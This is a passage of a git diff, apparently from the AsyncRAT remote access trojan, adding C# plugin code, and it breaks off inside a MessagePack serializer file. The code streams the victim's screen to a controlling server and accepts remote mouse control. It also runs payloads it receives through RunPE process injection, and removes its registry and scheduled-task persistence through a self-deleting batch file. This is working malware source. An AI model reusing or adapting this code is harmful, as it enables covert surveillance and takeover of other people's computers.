ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); + } + + public static void WriteInteger(Stream ms, Int64 iVal) + { + if (iVal >= 0) + { // 正数 + if (iVal <= 127) + { + ms.WriteByte((byte)iVal); + } + else if (iVal <= 255) + { //UInt8 + ms.WriteByte(0xCC); + ms.WriteByte((byte)iVal); + } + else if (iVal <= (UInt32)0xFFFF) + { //UInt16 + ms.WriteByte(0xCD); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= (UInt32)0xFFFFFFFF) + { //UInt32 + ms.WriteByte(0xCE); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else + { //Int64 + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + } + else + { // <0 + if (iVal <= Int32.MinValue) //-2147483648 // 64 bit + { + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + else if (iVal <= Int16.MinValue) // -32768 // 32 bit + { + ms.WriteByte(0xD2); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else if (iVal <= -128) // -32768 // 32 bit + { + ms.WriteByte(0xD1); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= -32) + { + ms.WriteByte(0xD0); + ms.WriteByte((byte)iVal); + } + else + { + ms.WriteByte((byte)iVal); + } + } // end <0 + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs new file mode 100644 index 0000000..f3b5d10 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs @@ -0,0 +1,134 @@ +using Plugin.MessagePack; +using Plugin.StreamLibrary; +using Plugin.StreamLibrary.UnsafeCodecs; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace Plugin +{ + public static class Packet + { + public static bool IsOk { get; set; } + public static void Read(object data) + { + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes((byte[])data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "remoteDesktop": + { + switch (unpack_msgpack.ForcePathObject("Option").AsString) + { + case "capture": + { + if (IsOk == true) return; + IsOk = true; + CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger)); + break; + } + + case "mouseClick": + { + Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger); + Cursor.Position = position; + mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1); + break; + } + + case "mouseMove": + { + Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger); + Cursor.Position = position; + break; + } + + case "stop": + { + IsOk = false; + break; + } + } + break; + } + } + } + + public static void CaptureAndSend(int quality, int Scrn) + { + Bitmap bmp = null; + BitmapData bmpData = null; + Rectangle rect; + Size size; + MsgPack msgpack; + IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality); + MemoryStream stream; + while (IsOk && Connection.IsConnected) + { + try + { + bmp = GetScreen(Scrn); + rect = new Rectangle(0, 0, bmp.Width, bmp.Height); + size = new Size(bmp.Width, bmp.Height); + bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); + + using (stream = new MemoryStream()) + { + unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream); + + if (stream.Length > 0) + { + msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("ID").AsString = Connection.Hwid; + msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); + msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(Screen.AllScreens.Length); + new Thread(() => { Connection.Send(msgpack.Encode2Bytes()); }).Start(); + } + } + bmp.UnlockBits(bmpData); + bmp.Dispose(); + } + catch + { + Connection.Disconnected(); + break; + } + } + try + { + IsOk = false; + bmp?.UnlockBits(bmpData); + bmp?.Dispose(); + GC.Collect(); + } + catch { } + } + + private static Bitmap GetScreen(int Scrn) + { + Rectangle rect = Screen.AllScreens[Scrn].Bounds; + try + { + Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb); + using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot)) + { + gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy); + return bmpScreenshot; + } + } + catch { return new Bitmap(rect.Width, rect.Height); } + } + + [DllImport("user32.dll")] + static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo); + } +} diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Plugin.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Plugin.cs new file mode 100644 index 0000000..9fec2d9 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Plugin.cs @@ -0,0 +1,33 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile) + { + Debug.WriteLine("Plugin Invoked"); + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..b332f15 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +//[assembly: Guid("9042b543-13d1-42b3-a5b6-5cc9ad55e150")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/RemoteDesktop.csproj b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/RemoteDesktop.csproj new file mode 100644 index 0000000..b7c097b --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/RemoteDesktop.csproj @@ -0,0 +1,65 @@ + + + + + Debug + AnyCPU + {9042B543-13D1-42B3-A5B6-5CC9AD55E150} + Library + Properties + Plugin + RemoteDesktop + v4.0 + 512 + true + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + true + + + none + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Enums.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/Enums.cs similarity index 93% rename from AsyncRAT-C#/Client/StreamLibrary/Enums.cs rename to AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/Enums.cs index 83e58e3..e41e9ee 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/Enums.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/Enums.cs @@ -1,4 +1,4 @@ -namespace Client.StreamLibrary +namespace Plugin.StreamLibrary { public enum CodecOption { diff --git a/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/IUnsafeCodec.cs similarity index 95% rename from AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs rename to AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/IUnsafeCodec.cs index bd8775e..b9b9e3b 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/IUnsafeCodec.cs @@ -1,10 +1,10 @@ -using Client.StreamLibrary.src; +using Plugin.StreamLibrary.src; using System; using System.Drawing; using System.Drawing.Imaging; using System.IO; -namespace Client.StreamLibrary +namespace Plugin.StreamLibrary { public abstract class IUnsafeCodec { diff --git a/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/IVideoCodec.cs similarity index 94% rename from AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs rename to AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/IVideoCodec.cs index 79fc22f..b44e840 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/IVideoCodec.cs @@ -1,11 +1,11 @@ -using Client.StreamLibrary.src; +using Plugin.StreamLibrary.src; using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Text; -namespace Client.StreamLibrary +namespace Plugin.StreamLibrary { public abstract class IVideoCodec { diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs similarity index 99% rename from AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs rename to AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs index 62e704e..50edcf1 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs @@ -1,4 +1,4 @@ -using Client.StreamLibrary.src; +using Plugin.StreamLibrary.src; using System; using System.Collections.Generic; using System.Drawing; @@ -6,7 +6,7 @@ using System.Drawing.Imaging; using System.IO; using System.Text; -namespace Client.StreamLibrary.UnsafeCodecs +namespace Plugin.StreamLibrary.UnsafeCodecs { public class UnsafeStreamCodec : IUnsafeCodec { diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/src/JpgCompression.cs similarity index 97% rename from AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs rename to AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/src/JpgCompression.cs index 0f911b5..50a7e30 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/src/JpgCompression.cs @@ -2,7 +2,7 @@ using System.Drawing.Imaging; using System.IO; -namespace Client.StreamLibrary.src +namespace Plugin.StreamLibrary.src { public class JpgCompression { diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/src/LzwCompression.cs similarity index 98% rename from AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs rename to AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/src/LzwCompression.cs index 2654908..e7e69e8 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/src/LzwCompression.cs @@ -2,7 +2,7 @@ using System.Drawing.Imaging; using System.IO; -namespace Client.StreamLibrary.src +namespace Plugin.StreamLibrary.src { public class LzwCompression { diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/src/NativeMethods.cs similarity index 95% rename from AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs rename to AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/src/NativeMethods.cs index f8dbe91..a90a74c 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/StreamLibrary/src/NativeMethods.cs @@ -1,7 +1,7 @@ using System; using System.Runtime.InteropServices; -namespace Client.StreamLibrary.src +namespace Plugin.StreamLibrary.src { public class NativeMethods { diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile.sln b/AsyncRAT-C#/Plugin/SendFile/SendFile.sln new file mode 100644 index 0000000..0363623 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29123.88 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SendFile", "SendFile\SendFile.csproj", "{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {7C37EDD7-F956-4399-BA52-FD089A972A6A} + EndGlobalSection +EndGlobal diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs new file mode 100644 index 0000000..70a0271 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs @@ -0,0 +1,211 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + private static byte[] Buffer { get; set; } + private static long Buffersize { get; set; } + private static Timer Tick { get; set; } + private static MemoryStream MS { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient(byte[] packet) + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + Buffer = new byte[4]; + MS = new MemoryStream(); + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + + new Thread(() => + { + Packet.Read(packet); + }).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + IsConnected = false; + Tick?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); + MS?.Dispose(); + GC.Collect(); + } + catch { } + } + + public static void ReadServertData(IAsyncResult ar) + { + try + { + if (!TcpClient.Connected || !IsConnected) + { + IsConnected = false; + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + MS.Write(Buffer, 0, recevied); + if (MS.Length == 4) + { + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); + Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) + { + Buffer = new byte[Buffersize]; + while (MS.Length != Buffersize) + { + int rc = SslClient.Read(Buffer, 0, Buffer.Length); + if (rc == 0) + { + IsConnected = false; + return; + } + MS.Write(Buffer, 0, rc); + Buffer = new byte[Buffersize - MS.Length]; + } + if (MS.Length == Buffersize) + { + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(MS.ToArray()); + Buffer = new byte[4]; + MS.Dispose(); + MS = new MemoryStream(); + } + } + } + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + } + else + { + IsConnected = false; + return; + } + } + catch + { + IsConnected = false; + return; + } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(msg)) + { + BinaryReader binaryReader = new BinaryReader(buffereReader); + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk, 0, chunk.Length); + SslClient.Flush(); + } while (bytesToRead > 0); + + binaryReader.Dispose(); + } + } + else + { + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs similarity index 85% rename from AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs rename to AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs index faff4cb..b2e4958 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs @@ -4,9 +4,9 @@ using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Threading; -using Client.MessagePack; +using Plugin.MessagePack; -namespace Client.Handle_Packet +namespace Plugin.Handler { public class HandleSendTo { @@ -38,7 +38,6 @@ namespace Client.Handle_Packet { byte[] buffer = unpack_msgpack.ForcePathObject("File").GetAsBytes(); string injection = unpack_msgpack.ForcePathObject("Inject").AsString; - byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes(); if (injection.Length == 0) { //Reflection @@ -69,9 +68,7 @@ namespace Client.Handle_Packet { try { - Assembly loader = Assembly.Load(plugin); - MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize"); - meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) }); + RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), buffer, true); } catch (Exception ex) { @@ -87,4 +84,5 @@ namespace Client.Handle_Packet } } } -} \ No newline at end of file + +} diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleUninstall.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleUninstall.cs new file mode 100644 index 0000000..8b36cb4 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleUninstall.cs @@ -0,0 +1,63 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using System.IO; + +namespace Plugin.Handler +{ + public class HandleUninstall + { + public HandleUninstall() + { + if (Convert.ToBoolean(Plugin.Install)) + { + try + { + if (!Methods.IsAdmin()) + Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", RegistryKeyPermissionCheck.ReadWriteSubTree).DeleteValue(Plugin.InstallFile); + else + { + Process.Start(new ProcessStartInfo() + { + FileName = "schtasks", + Arguments = "/delete /f /tn " + @"""'" + Plugin.InstallFile + @"""'", + CreateNoWindow = true, + ErrorDialog = false, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }); + } + } + catch { } + } + + string batch = Path.GetTempFileName() + ".bat"; + using (StreamWriter sw = new StreamWriter(batch)) + { + sw.WriteLine("@echo off"); + sw.WriteLine("timeout 3 > NUL"); + sw.WriteLine("CD " + Application.StartupPath); + sw.WriteLine("DEL " + "\"" + Path.GetFileName(Application.ExecutablePath) + "\"" + " /f /q"); + sw.WriteLine("CD " + Path.GetTempPath()); + sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q"); + } + Process.Start(new ProcessStartInfo() + { + FileName = batch, + CreateNoWindow = true, + ErrorDialog = false, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }); + + Methods.ClientExit(); + Environment.Exit(0); + + } + } + +} diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/BytesTools.cs new file mode 100644 index 0000000..bd66e46 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/BytesTools.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public class BytesTools + { + static UTF8Encoding utf8Encode = new UTF8Encoding(); + + public static byte[] GetUtf8Bytes(String s) + { + + return utf8Encode.GetBytes(s); + } + + public static String GetString(byte[] utf8Bytes) + { + return utf8Encode.GetString(utf8Bytes); + } + + public static String BytesAsString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:D3} ", b)); + } + return sb.ToString(); + } + + + public static String BytesAsHexString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:X2} ", b)); + } + return sb.ToString(); + } + + /// + /// 交换byte数组数据 + /// 可用于高低数据交换 + /// + /// 要交换的byte数组 + /// 返回交换后的数据 + public static byte[] SwapBytes(byte[] v) + { + byte[] r = new byte[v.Length]; + int j = v.Length - 1; + for (int i = 0; i < r.Length; i++) + { + r[i] = v[j]; + j--; + } + return r; + } + + public static byte[] SwapInt64(Int64 v) + { + //byte[] r = new byte[8]; + //r[7] = (byte)v; + //r[6] = (byte)(v >> 8); + //r[5] = (byte)(v >> 16); + //r[4] = (byte)(v >> 24); + //r[3] = (byte)(v >> 32); + //r[2] = (byte)(v >> 40); + //r[1] = (byte)(v >> 48); + //r[0] = (byte)(v >> 56); + return SwapBytes(BitConverter.GetBytes(v)); + } + + public static byte[] SwapInt32(Int32 v) + { + byte[] r = new byte[4]; + r[3] = (byte)v; + r[2] = (byte)(v >> 8); + r[1] = (byte)(v >> 16); + r[0] = (byte)(v >> 24); + return r; + } + + + public static byte[] SwapInt16(Int16 v) + { + byte[] r = new byte[2]; + r[1] = (byte)v; + r[0] = (byte)(v >> 8); + return r; + } + + public static byte[] SwapDouble(Double v) + { + return SwapBytes(BitConverter.GetBytes(v)); + } + + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPack.cs new file mode 100644 index 0000000..131eb37 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPack.cs @@ -0,0 +1,926 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + + +namespace Plugin.MessagePack +{ + public class MsgPackEnum : IEnumerator + { + List children; + int position = -1; + + public MsgPackEnum(List obj) + { + children = obj; + } + object IEnumerator.Current + { + get { return children[position]; } + } + + bool IEnumerator.MoveNext() + { + position++; + return (position < children.Count); + } + + void IEnumerator.Reset() + { + position = -1; + } + + } + + public class MsgPackArray + { + List children; + MsgPack owner; + + public MsgPackArray(MsgPack msgpackObj, List listObj) + { + owner = msgpackObj; + children = listObj; + } + + public MsgPack Add() + { + return owner.AddArrayChild(); + } + + public MsgPack Add(String value) + { + MsgPack obj = owner.AddArrayChild(); + obj.AsString = value; + return obj; + } + + public MsgPack Add(Int64 value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsInteger(value); + return obj; + } + + public MsgPack Add(Double value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsFloat(value); + return obj; + } + + public MsgPack this[int index] + { + get { return children[index]; } + } + + public int Length + { + get { return children.Count; } + } + } + + public class MsgPack : IEnumerable + { + string name; + string lowerName; + object innerValue; + MsgPackType valueType; + MsgPack parent; + List children = new List(); + MsgPackArray refAsArray = null; + + private void SetName(string value) + { + this.name = value; + this.lowerName = name.ToLower(); + } + + private void Clear() + { + for (int i = 0; i < children.Count; i++) + { + ((MsgPack)children[i]).Clear(); + } + children.Clear(); + } + + private MsgPack InnerAdd() + { + MsgPack r = new MsgPack(); + r.parent = this; + this.children.Add(r); + return r; + } + + private int IndexOf(string name) + { + int i = -1; + int r = -1; + + string tmp = name.ToLower(); + foreach (MsgPack item in children) + { + i++; + if (tmp.Equals(item.lowerName)) + { + r = i; + break; + } + } + return r; + } + + public MsgPack FindObject(string name) + { + int i = IndexOf(name); + if (i == -1) + { + return null; + } + else + { + return this.children[i]; + } + } + + + private MsgPack InnerAddMapChild() + { + if (valueType != MsgPackType.Map) + { + Clear(); + this.valueType = MsgPackType.Map; + } + return InnerAdd(); + } + + private MsgPack InnerAddArrayChild() + { + if (valueType != MsgPackType.Array) + { + Clear(); + this.valueType = MsgPackType.Array; + } + return InnerAdd(); + } + + public MsgPack AddArrayChild() + { + return InnerAddArrayChild(); + } + + private void WriteMap(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x80 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDE; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDF; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + for (int i = 0; i < len; i++) + { + WriteTools.WriteString(ms, children[i].name); + children[i].Encode2Stream(ms); + } + } + + private void WirteArray(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x90 + (byte)len); + 